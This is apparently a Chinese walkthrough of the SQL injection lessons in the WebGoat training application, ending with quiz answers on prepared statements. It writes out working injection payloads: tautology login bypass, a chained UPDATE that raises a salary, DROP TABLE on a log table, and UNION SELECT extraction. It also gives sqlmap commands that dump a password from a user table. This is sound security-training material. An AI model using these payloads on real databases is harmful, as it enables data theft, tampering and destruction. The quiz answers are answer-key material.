WebGoat Injection 解题思路 (上)

WebGoat 版本信息

  • WebGoat v8.1.0

(A1) Injection 注入

SQL Injection (intro)

1 - Concept

介绍SQL的基本概念,仔细阅读即可。

2 - What is SQL?

简单了解SQL语句。测试如何使用 SELECT语句进行查询。
这个非常简单:

1
select department from employees where userid=96134

3 - DML

SQL语句除去SELECT查询之外,还有Insert, Update等添加、修改数据的操作。

测试内容为将Tobi Barnett的部门修改为Sales。这个也相对容易:

1
Update employees set department = 'Sales' where userid = 89762

4 - DDL

这一节介绍了如何使用SQL语句修改数据库中表的结构。测试内容是为employees表添加一个名为phone的列,数据类型为varchar(20)

1
ALTER TABLE employees ADD phone varchar(20)

5 - DCL

这一节的内容是通过SQL语言管理用户进入及操作数据库的权限。

1
GRANT ALTER TABLE TO UnauthorizedUser

到此为止,就完成了对于SQL语句的初步认识与学习。如果对于SQL语言的其他操作还存在什么问题的话,可以在w3school SQL进行学习。

6 & 7 & 8 - What is SQL injection?

这几节介绍了SQL注入的基本原理,可能产生的影响以及SQL注入的严重性。如果之前对于 SQL注入 已经有了基本的了解,那么这一步可以简单跳过。 如果对于 SQL注入 还没有任何的概念,请务必仔细阅读这里的内容。

这三节没有任何交互性的内容。

9 - Try It!

最最基本的注入结构。明文测试来感受一下如何构造一个成功的SQL注入语句。

Try It!

10 - Numeric SQL Injection

稍微提高了一些难度。SQL语句从页面接受了两个不同的用户输入,但是其中只有一个可以成功进行SQL注入。我们需要找到正确的输入域,并利用。

先简单尝试:
10

看到了错误提示为: 无法成功将Login_Count的值解析为数字。

所以再次尝试对User_id的值进行注入:

Success!

11 - String SQL Injection

类似于第9个小测试的内容。只不过这次不再是选择题了。在Employee Name的输入框输入:

1
' or 1=1 -- 

12 - Compromising Integrity with Query chaining

同样的输入框。但这次不同于之前的仅仅是获取到全部员工的列表信息,这次我们需要真真切切地做些坏事了。这个挑战的要求是,将数据库中自己的工资修改为最高。

思路是使用分号分隔两句SQL语句,并在第二句使用UPDATE命令对数据进行更新。因此,我们可以在Employee Name的输入框输入:

1
' or 1=1; Update employees SET SALARY=99999 where AUTH_TAN=3SL99A --

OK,顺利让自己的工资变成最高了!!(千万别在真实的生产环境中做同样的事情!!)

13 - Compromising Availability

题目要求在access_log表中删除被系统记录下的SQL语句执行记录。

与上一题思路相同,再第二句SQL语句中执行 DROP 命令,删除access_log表中的数据。

1
d'; drop TABLE access_log --

成功!

总结

这一小节介绍了SQL注入中一些最为基础的概念。并通过一个比较真实的场景,来展现了一个攻击者在面对一个存在漏洞的系统时,可以实现哪些操作。

当然,由于这一部分主要是面对刚刚入门的初学者,为了更好的实现展示的目的,所以这一部分中的漏洞非常的显而易见,也非常容易利用。而在实际的生产环境中,大多数的漏洞并不是那么简单地就能被利用。下一节就要尝试更困难的挑战了!

SQL Injection (advanced)

Challenge 1,2

这两节简单得介绍了SQL注入实操的一些基本技巧。这些技巧其实非常有用,虽然我们可以使用SQL Map这类的工具来帮助我们完成一些自动化的SQL注入操作,但是对于基本原理的理解可以让你最大化发挥出工具的价值。

Challenge 3

这里需要通过SQL注入获取数据库中表的完整信息,而且这次我们已经不满足于获得当前的数据表。我们还需要同时获取另一张表中的内容。这里我们可以使用UNION SELECT语句来实现两张表的数据拼接:

d' and 1=2 UNION SELECT user_system_data.*,NULL,NULL,NULL from user_system_data --

这里需要注意的有两点:

  • 使用UNION SELECT 需要前后两张表的列数相匹配。由于题目中已知的信息告诉我们user_system_data中只有4列数据,所以我们需要手动填充3列NULL
  • 一开始写的是UNION SELECT *,结果可以看到报错为: duplicate column name in derived table。不难理解,两张表中都有userid列,而第二张表的userid还是主键。所以我们需要在*前指定表名。

根据正确答案提示,这道题还可以直接拼接SQL语句。这个实现起来就更简单了:

d'; SELECT * from user_system_data

输入Dave的密码: passW0rD 最终完成。

Challenge 4

这边介绍了SqL盲注。之前的挑战中,页面上会返回完整的信息,包括了数据库的报错信息还有完整的查询结果。但在现实的环境中,大多数的情况是,数据库仅会返回查询是成功还是失败。在这种情况下,我们每次可以从数据库获得的信息会大大减少,这也很大程度增加了注入的难度。

这一节的说明简要解释了两种最常见的盲注方法: 基于内容的盲注基于时间的盲注

Challenge 5

来吧,亲自尝试一下!!

这里我们看到了一个最为常见的功能:登录与注册。我们需要最终以Tom的身份登录进系统。

简单尝试使用SQL注入绕过登录,发现失败了。然后尝试在Register功能中注入。

可以看到系统会返回说用户已经存在的消息。尝试简单修改用户名,快速检验是否存在注入的可能:

tom' and 1=1 --

系统返回了以下信息:

1
User {0} already exists please try to register with a different username.

这个{0}看着颇为可疑…感觉可能是个能够利用的点。使用BurpSuite截取请求:

将请求保存到本地文件,并使用sqlmap -r webgoat_1.2.5_register.txt对这个请求进行SQL注入的测试。

很显然,username_reg这个参数存在SQL注入的漏洞。因此,我们进一步利用 SQL Map 来通过这个注入点,获取更多数据库信息。基于上一次运行的结果,我们使用下列命令来列出数据库中所有的DB列表:

1
sqlmap -r webgoat_1.2.5_register.txt --dbms=HSQLDB --thread 5 --dbs --no-cast --technique=B

我们获取到了5个数据库。再指定数据库为PUBLIC获取该数据中所有的表名。同时我们注意到,这个时候执行的速度明显减慢了很多,所以我们可以在参数中加入--string="already exists please try to register with a different username"指定查询为真的条件。

1
sqlmap -r webgoat_1.2.5_register.txt --string="already exists please try to register with a different username" --dbms=HSQLDB --thread 10 --technique=B -D PUBLIC --tables

成功获取到所有的表名。其中SQL_CHALLENGE_USERS看着就非常像我们需要获取信息的表。尝试直接下载这张表里的内容:

1
sqlmap -r webgoat_1.2.5_register.txt --string="already exists please try to register with a different username" --dbms=HSQLDB --thread 10 --technique=B -D PUBLIC -T SQL_CHALLENGE_USERS --dump

运行的时候才发现,这个数据库居然还是有快200行…那直接dump确实有点暴力了…(大笑)。有不少是运行SQLMap的时候自己注册进去的!!所以我们采用一个更有针对性的方法:

1
sqlmap -r webgoat_1.2.5_register.txt --string="already exists please try to register with a different username" --dbms=HSQLDB --thread 10 --technique=B -D PUBLIC -T SQL_CHALLENGE_USERS --sql-query="SELECT userid,password FROM SQL_CHALLENGE_USERS WHERE USERID='tom'"

顺利获得密码!登录即可。

当然,这道题同样可以在password参数中爆破出密码,这里只是给出了一种完全使用SQLMap的思路。

Challenge 6

最后是Quiz部分,总共五道选择题,全部做对视为通过。所有的题目都是关于 Prepared statement(预编译查询语句)

  1. What is the difference between a prepared statement and a statement?
1
Solution 4: A statement has got values instead of a prepared statement
  1. Which one of the following characters is a placeholder for variables?
1
Solution 3: ?
  1. How can prepared statements be faster than statements?
1
Solution 2: Prepared statements are compiled once by the database management system waitingfor input and are pre-compiled this way.
  1. How can a prepared statement prevent SQL-Injection?
1
Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.
  1. What happens if a person with malicious intent writes into a register form :Robert); DROP TABLE Students;– that has a prepared statement?
1
Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.